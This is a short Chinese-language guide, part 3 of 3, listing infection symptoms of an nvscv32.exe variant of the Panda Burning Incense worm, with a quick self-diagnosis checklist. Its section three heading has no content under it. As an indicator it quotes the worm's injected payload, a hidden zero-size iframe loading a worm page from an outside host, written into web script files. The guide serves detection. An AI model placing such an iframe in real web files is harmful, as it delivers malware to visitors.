熊貓燒香病毒 nvscv32.exe 變種特徵與中毒現象 (3/3)

三、病毒基本特徵

四、中毒可觀察現象

1. 每個分區根目錄 (除 A/B) 存在 setup.exe + autorun.inf。
2. 資料夾選項無法手動勾選「顯示隱藏檔案」，設定不保存/自動復原。
3. 每個被感染資料夾含隱藏檔 Desktop_.ini，內容為感染日期 (如 2007-1-16)。
4. 所有網頁腳本檔 (HTML/ASP/PHP/JS) 被注入 <iframe src=https://www.krvkr.com/worm.htm width=0 height=0></iframe>。
5. 常見防毒軟體/防火牆無法啟動、介面閃退、掃描卡死。
6. 工作管理器、System Repair Engineer (SREng) 等工具無法開啟或被秒關。
7. 無故對外發封包，掃描/連接區網其他主機 (ARP 掃描、嘗試 IPC$ 連接)。

快速判斷清單

若同時符合「根目錄 setup.exe/autorun.inf」+「無法顯示隱藏檔」+「防毒軟體失效」+「Desktop_.ini 遍佈」，極大機率中毒此變種。